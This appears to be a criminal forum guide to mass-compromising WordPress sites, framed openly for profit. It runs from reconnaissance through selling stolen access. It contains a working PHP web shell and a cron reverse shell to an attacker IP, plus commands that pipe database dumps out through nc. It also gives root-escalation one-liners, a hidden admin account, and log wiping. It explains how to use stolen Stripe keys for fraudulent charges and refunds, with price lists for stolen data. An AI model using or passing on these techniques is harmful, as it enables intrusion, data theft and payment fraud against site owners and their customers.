Recon β’ Vulnerability Scanning β’ Shell Upload β’ Database Access β’ Data Exfil
WordPress powers 43% of the internet. That's 400+ million sites. And a huge percentage of them are running outdated plugins, weak passwords, or misconfigured servers.
WordPress exploitation is the gateway to:
- Free hosting for phishing pages
- SMTP access for email campaigns
- WooCommerce customer payment data
- Fullz from membership/registration sites
- SEO spam / backlink injection
- Credential harvesting via compromised access
This guide covers the entire kill chain β from finding targets to extracting everything of value.
- 1.0 β Target Reconnaissance (Finding Vulnerable Sites)
- 2.0 β Automated Scanning (WPScan, Nuclei, Custom Scripts)
- 3.0 β Exploiting Plugins & Themes
- 4.0 β Uploading a Web Shell
- 5.0 β Post-Exploitation: Database Extraction
- 6.0 β WooCommerce Payment Data
- 7.0 β Privilege Escalation & Persistence
- 8.0 β Automation: Bulk WordPress Hacking
- 9.0 β Selling Access & Data
- 10.0 β OpSec for WordPress Hacking
1.0 β TARGET RECONNAISSANCE
Finding WordPress Sites:
Code:
# Method 1: Google Dorking
inurl:/wp-admin/
inurl:/wp-content/
inurl:/wp-json/
intitle:"index of" wp-content
"powered by wordpress" intitle:"shop" # WooCommerce stores
# Method 2: Shodan / Censys
http.title:"WordPress" country:US
http.component:"wordpress" http.component:"woocommerce"
# Method 3: Mass Scanning
# Use httpx or httprobe to find WP sites from domain lists
cat domains.txt | httpx -path /wp-admin/ -mc 200 -o wp_sites.txt
# Method 4: Public Exploit Databases
# Check exploit-db.com, packetstormsecurity.com for recent WP CVEs
# Check wpscan.com for known vulnerable plugins
Enumerating a Target:
Code:
# Check if it's WordPress
curl -s https://target.com/ | grep -i "wordpress\|wp-content\|wp-json"
# Enumerate WordPress version
curl -s https://target.com/readme.html | grep "Version"
# OR check the generator tag
curl -s https://target.com/ | grep "generator"
# Enumerate users (if API enabled)
curl -s https://target.com/wp-json/wp/v2/users/
# If this returns data, you have usernames for brute force
# Enumerate plugins
curl -s https://target.com/wp-content/plugins/ -L | grep "href"
# Check for XML-RPC (brute force vector)
curl -s https://target.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# If returns XML β XML-RPC is enabled β brute force possible
2.0 β AUTOMATED SCANNING
WPScan (The Industry Standard):
Code:
# Install
gem install wpscan
# Basic scan
wpscan --url https://target.com --enumerate vp,vt,u --api-token YOUR_TOKEN
# Aggressive scan (all plugins, themes, users)
wpscan --url https://target.com --enumerate ap,at,u --plugins-detection aggressive
# Password brute force (if you have usernames)
wpscan --url https://target.com --passwords rockyou.txt --usernames admin
# What WPScan finds:
# - WordPress version (and known vulnerabilities)
# - Plugin list (and known vulnerabilities)
# - Theme list
# - Username enumeration
# - Weak passwords
Nuclei + WordPress Templates:
Code:
# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
# Scan WordPress targets
nuclei -u https://target.com -t wordpress/
# Scan for all WordPress CVEs
nuclei -u https://target.com -t wordpress/ -severity critical,high
# Bulk scan multiple targets
nuclei -l wp_sites.txt -t wordpress/ -o vulnerable.txt
# Most valuable templates to check:
# - CVE-2024-XXXX vulnerable plugin checks
# - wp-config backup disclosure
# - PHPInfo disclosure
# - Debug log disclosure
Custom Scanner (Python):
Code:
# wp_scanner.py - Lightweight WordPress vulnerability scanner
import requests
import re
import sys
from concurrent.futures import ThreadPoolExecutor
class WPScanner:
def __init__(self, target):
self.target = target.rstrip("/")
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
})
self.findings = []
def check_wp(self):
"""Confirm the site is WordPress."""
paths = ["/wp-admin/", "/wp-login.php", "/wp-content/"]
for path in paths:
try:
r = self.session.get(f"{self.target}{path}", timeout=10)
if r.status_code == 200:
self.findings.append(f"β WordPress confirmed: {path}")
return True
except:
pass
return False
def check_version(self):
"""Check WordPress version from readme.html."""
try:
r = self.session.get(f"{self.target}/readme.html", timeout=10)
version = re.search(r"Version (\d+\.\d+[\.\d]*)", r.text)
if version:
self.findings.append(f"β Version: {version.group(1)}")
except:
pass
def check_xmlrpc(self):
"""Check if XML-RPC is enabled."""
try:
data = '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
r = self.session.post(f"{self.target}/xmlrpc.php", data=data, timeout=10)
if "methodName" in r.text:
self.findings.append("β XML-RPC enabled (brute force vector)")
except:
pass
def check_plugins(self, plugins):
"""Check if common vulnerable plugins exist."""
for plugin in plugins:
try:
r = self.session.get(f"{self.target}/wp-content/plugins/{plugin}/", timeout=10)
if r.status_code == 200 or r.status_code == 403:
self.findings.append(f"β Plugin found: {plugin}")
except:
pass
def check_debug_log(self):
"""Check for exposed debug log."""
paths = ["/wp-content/debug.log", "/wp-content/debug.log.1", "/error.log"]
for path in paths:
try:
r = self.session.get(f"{self.target}{path}", timeout=10)
if r.status_code == 200 and len(r.text) > 100:
self.findings.append(f"β DEBUG LOG EXPOSED: {path}")
return True
except:
pass
return False
def check_wpconfig_backup(self):
"""Check for wp-config.php backups."""
paths = ["/wp-config.bak", "/wp-config.php.bak", "/wp-config.txt",
"/wp-config.php~", "/wp-config.old", "/wp-config.save"]
for path in paths:
try:
r = self.session.get(f"{self.target}{path}", timeout=10)
if r.status_code == 200 and "define" in r.text:
self.findings.append(f"β WP-CONFIG BACKUP: {path}")
return True
except:
pass
return False
def scan(self):
"""Run all checks."""
print(f"[*] Scanning: {self.target}")
if not self.check_wp():
print("[-] Not WordPress")
return self.findings
self.check_version()
self.check_xmlrpc()
self.check_debug_log()
self.check_wpconfig_backup()
# Check common vulnerable plugins
vuln_plugins = [
"elementor/elementor.php",
"woocommerce/woocommerce.php",
"contact-form-7/wp-contact-form-7.php",
"wordfence/wordfence.php",
"yoast-seo/wp-seo.php"
]
self.check_plugins(vuln_plugins)
return self.findings
# Usage
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else input("Target URL: ")
scanner = WPScanner(target)
results = scanner.scan()
print("\n".join(results) if results else "No findings")
3.0 β EXPLOITING PLUGINS & THEMES
WooCommerce Payment Data Extraction:
Code:
Prerequisites: Admin-level access to the WordPress dashboard.
If you have admin access (via brute force, stolen creds, or plugin exploit):
1. Navigate to: WooCommerce β Status β Logs
- Payment gateway logs often contain full transaction data
- Look for Stripe/PayPal debug logs
2. Export customer data:
- WooCommerce β Customers β Export
- This gives you: name, email, address, phone
- Does NOT give credit card numbers (they're tokenized)
3. Database access (for full card data):
- Install WP Database Reset plugin or Adminer
- OR access phpMyAdmin if exposed
- In the database: wp_posts table contains order data
- Payment tokens are in wp_woocommerce_payment_tokens
- Card data is usually NOT stored (tokenized by Stripe/PayPal)
- HOWEVER: if they use a direct payment gateway, cards may be in plaintext
High-Value Plugin Vulnerabilities:
| Plugin | Vulnerability | Impact | Patch Status |
| Elementor Pro | Stored XSS in widgets | Admin account takeover | Fixed in 3.18+ |
| Contact Form 7 | File upload bypass | Upload PHP shell | Fixed in 5.8+ |
| WP Reset Pro | Privilege escalation | Admin access | Fixed in 2.0+ |
| LayerSlider | SQL Injection | Full database access | Various |
| Slider Revolution | File upload / XSS | Shell upload | Various |
| File Manager | Arbitrary file upload | Shell upload (very common) | Fixed in 7.1+ |
| WooCommerce | Payment data exposure in logs | Customer PII | Not a bug - log config issue |
4.0 β UPLOADING A WEB SHELL
Once you have a file upload vulnerability or admin access, upload a web shell.
The WSO (Web Shell by oRb) β Most Reliable:
Code:
// Minimal PHP web shell
<?php
// wso_mini.php - Upload and access via /wp-content/plugins/wso_mini.php
@error_reporting(0);
if ($_GET['cmd']) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
if ($_GET['f']) {
echo file_get_contents($_GET['f']);
}
if ($_GET['dl']) {
header('Content-Disposition: attachment; filename="' . basename($_GET['dl']) . '"');
readfile($_GET['dl']);
}
?>
// Upload path (via admin):
// Appearance β Theme Editor β Theme Functions (functions.php)
// Add the shell code at the bottom
// Access: https://target.com/wp-content/themes/[theme]/functions.php?cmd=id
Upload Methods:
Code:
Method 1: Plugin Upload (with admin access)
1. Plugins β Add New β Upload Plugin
2. Upload a zip containing your PHP shell
3. Activate plugin
4. Access: /wp-content/plugins/[your-plugin]/shell.php?cmd=id
Method 2: Theme File Editor (with admin access)
1. Appearance β Theme File Editor
2. Select functions.php
3. Add shell code at the bottom
4. Save β Access: /wp-content/themes/[theme]/functions.php
Method 3: Media Library Upload (limited usefulness)
- Upload a .php file via Media Library (usually blocked)
- Upload a .jpg with PHP code inside, use include() vuln
Method 4: Plugin Vulnerability
- Exploit a file upload vulnerability in an installed plugin
- Common: File Manager plugin, Contact Form 7, any "upload" plugin
- Direct file upload to /wp-content/uploads/
Post-Shell Checklist:
Code:
Once you have shell access:
1. Verify permissions: cmd=id
- www-data = limited, root = full control
2. Find wp-config.php: cmd=cat /var/www/wp-config.php
- Extract: DB_NAME, DB_USER, DB_PASSWORD, DB_HOST
- Extract: AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY
- Extract: Any API keys (Stripe, PayPal, Mailchimp)
3. List users: cmd=cat /etc/passwd | grep /home
- Check for other users on the server
4. List other sites: cmd=ls -la /var/www/
- Shared hosting often has multiple sites accessible
5. Check for writable directories: cmd=find /var/www -writable -type d
6. Upload a full-featured shell (WSO, C99, R57):
- cmd=wget -O /var/www/wp-content/shell.php https://your-server/shell.txt
7. Clean up logs:
- /var/log/apache2/access.log
- /var/log/nginx/access.log
- wp-content/debug.log
5.0 β DATABASE EXTRACTION
Exporting the Database:
Code:
# From command line via shell
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] > /tmp/db_dump.sql
# Compress and download
gzip /tmp/db_dump.sql
# Download via shell: /tmp/db_dump.sql.gz
# OR: Send to your server directly
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] | gzip | nc -q 1 [YOUR_IP] [PORT]
# OR: Export specific tables
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] wp_users wp_usermeta > users.sql
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] wp_posts wp_postmeta > orders.sql
# OR: Via SQL query (if no command line)
SELECT * FROM wp_users INTO OUTFILE '/tmp/wp_users.csv' FIELDS TERMINATED BY ',';
Most Valuable Database Tables:
| Table | Contains | Value |
| wp_users | Usernames, email, hashed passwords | High (credential stuffing) |
| wp_usermeta | User metadata (names, addresses, phone) | High (fullz data) |
| wp_posts | Posts, pages, and WooCommerce orders | Medium-High |
| wp_postmeta | Order details, billing/shipping addresses | High (customer data) |
| wp_options | Site config, API keys, payment settings | Very High |
| wp_woocommerce_orders | Order records | High |
| wp_commentmeta | Comments + sometimes cached data | Low-Medium |
6.0 β WOOCOMMERCE PAYMENT DATA
WooCommerce stores are the holy grail for carding data.
Types of Payment Data:
Code:
1. If store uses Stripe:
- Cards are tokenized (you can't get full CC# from Stripe)
- BUT: you can use Stripe API key to create charges
- Extract: stripe_secret_key from wp_options
- Then: stripe.publishable_key and stripe_secret_key
- Use Stripe API to refund transactions or create new charges
2. If store uses PayPal:
- Extract: PayPal API credentials from wp_options
- Use: create fraudulent payments or refunds
3. If store uses a direct payment gateway (less common):
- Cards may be stored in PLAINTEXT
- Check: wp_woocommerce_payment_tokenmeta
- Check: custom tables (some plugins store CC data)
- Search: SELECT * FROM wp_postmeta WHERE meta_key LIKE '%card%'
4. If store uses Authorize.net / NMI / other:
- Usually tokenized
- BUT: the gateway's API key allows creating new transactions
Extracting Stripe Keys:
Code:
# From database
SELECT option_value FROM wp_options WHERE option_name LIKE '%stripe%';
# This returns:
# stripe_secret_key: sk_live_xxxxxxxxxxxxx
# stripe_publishable_key: pk_live_xxxxxxxxxxxxx
# stripe_webhook_secret: whsec_xxxxxxxxxxxxx
# With the secret key, you can:
# - List all charges
# - Refund charges (to your own card)
# - Create new charges
# - Access customer payment methods
# - Transfer funds to your connected account
# Example: List recent charges
curl https://api.stripe.com/v1/charges \
-u sk_live_xxxxxxxxxxxxx: \
-d limit=10
# Example: Refund a charge
curl https://api.stripe.com/v1/refunds \
-u sk_live_xxxxxxxxxxxxx: \
-d charge=ch_xxxxxxxxxxxxx
7.0 β PRIVILEGE ESCALATION & PERSISTENCE
From Shell to Root:
Code:
# Check for sudo access
sudo -l
# Common WordPress server misconfigurations
sudo -u root /usr/bin/php -r 'system("/bin/bash");'
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Kernel exploits (older systems)
uname -a
# Search exploit-db for kernel version
# Docker escape (if in container)
cat /proc/1/cgroup | grep docker
# Check for docker.sock
ls -la /var/run/docker.sock
Persistence Methods:
Code:
Method 1: Backdoor in Active Plugin
- Add shell code to an active plugin's main file
- Survives theme changes and some updates
Method 2: Cron Job
# Add a reverse shell to wp-cron
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" > /etc/cron.d/wp-backdoor
Method 3: SSH Key (if SSH enabled)
mkdir -p /root/.ssh
echo "YOUR_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
Method 4: New Admin User
# Create a hidden admin user in WordPress
INSERT INTO wp_users (user_login, user_pass, user_email)
VALUES ('backupadmin', '$P$Bhashedpassword', 'admin@backup.tld');
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
8.0 β AUTOMATION: BULK WORDPRESS HACKING
Automated Exploitation Pipeline:
Code:
1. Target Acquisition
- Use Shodan, Censys, or Google dorks to get 10k+ WP site list
- Filter by country, industry, or criteria
2. Version/Plugin Detection
- Run WPScan on each target
- Extract: WP version, plugin list, user list
- Output to CSV
3. Vulnerability Matching
- Cross-reference versions/plugins with known CVEs
- Prioritize: critical severity, file upload, SQL injection
4. Exploitation
- Run exploit scripts against vulnerable targets
- For each successful exploit: upload shell, extract config
5. Data Extraction
- From each shell: extract wp-config.php
- From each DB: extract user table, option table, order table
- Download to central server
6. Cleanup
- Remove shell, clear logs
- Optionally: leave backdoor for future access
Sample Bulk Exploitation Script:
Code:
#!/bin/bash
# bulk_wp.sh - Automated WordPress exploitation pipeline
TARGETS="wp_targets.txt"
OUTPUT_DIR="./wp_exploited"
mkdir -p $OUTPUT_DIR
while read -r target; do
echo "[*] Scanning: $target"
# Run WPScan (quick mode)
wpscan --url "$target" --enumerate vp --format json \
-o "$OUTPUT_DIR/$(echo $target | md5sum | cut -d' ' -f1).json" \
--api-token YOUR_TOKEN
# Check for specific CVEs
for cve in "CVE-2024-XXXX" "CVE-2024-YYYY"; do
nuclei -u "$target" -t wordpress/cves/$cve.yaml -silent
done
# If vulnerable, run exploit
# python3 exploit.py -u "$target" -o "$OUTPUT_DIR"
echo "[*] Done: $target"
done < "$TARGETS"
echo "[*] Scan complete. Check $OUTPUT_DIR for results."
9.0 β MONETIZING COMPROMISED WORDPRESS SITES
What to Do With Access:
| Asset | How to Monetize | Estimated Value |
| SMTP Access | Send spam / phishing emails | $50-200 per SMTP (sold on forums) |
| Shell / Server Access | Host phishing pages, crypto drainers | $100-500 per shell (varies by server power) |
| Database (Users) | Sell for credential stuffing, phishing campaigns | $5-50 per 1k records |
| Database (Full) | Sell entire database with PII | $50-500 depending on size |
| Stripe API Keys | Refund charges, sell keys, create fraudulent charges | $200-2,000 per key (varies by transaction volume) |
| SEO Spam | Inject backlinks (sell link placements) | $20-100 per link (recurring) |
| Crypto Wallet | If the site stores crypto β drain it | Variable |
10.0 β OPSEC
Covering Your Tracks:
- Always use VPN/proxy when scanning or exploiting (VPS in different country)
- Never access compromised sites from home IP or personal device
- Rotate IPs between targets (don't use same IP for 50 scans)
- Use --random-agent or custom User-Agents in all tools
- Clear logs after shell access: /var/log/apache2/, /var/log/auth.log, wp-content/debug.log
- Remove .bash_history: history -c && cat /dev/null > ~/.bash_history
- Don't leave shells on the server longer than necessary
- If you sell access, use escrow or trusted middlemen
- Never brag about specific compromises (this is how people get caught)
- The FBI has prosecuted WordPress hackers under CFAA β respect the risk
END OF WORDPRESS EXPLOITATION GUIDE
400 million targets. Most of them vulnerable. Pick your shots wisely.
400 million targets. Most of them vulnerable. Pick your shots wisely.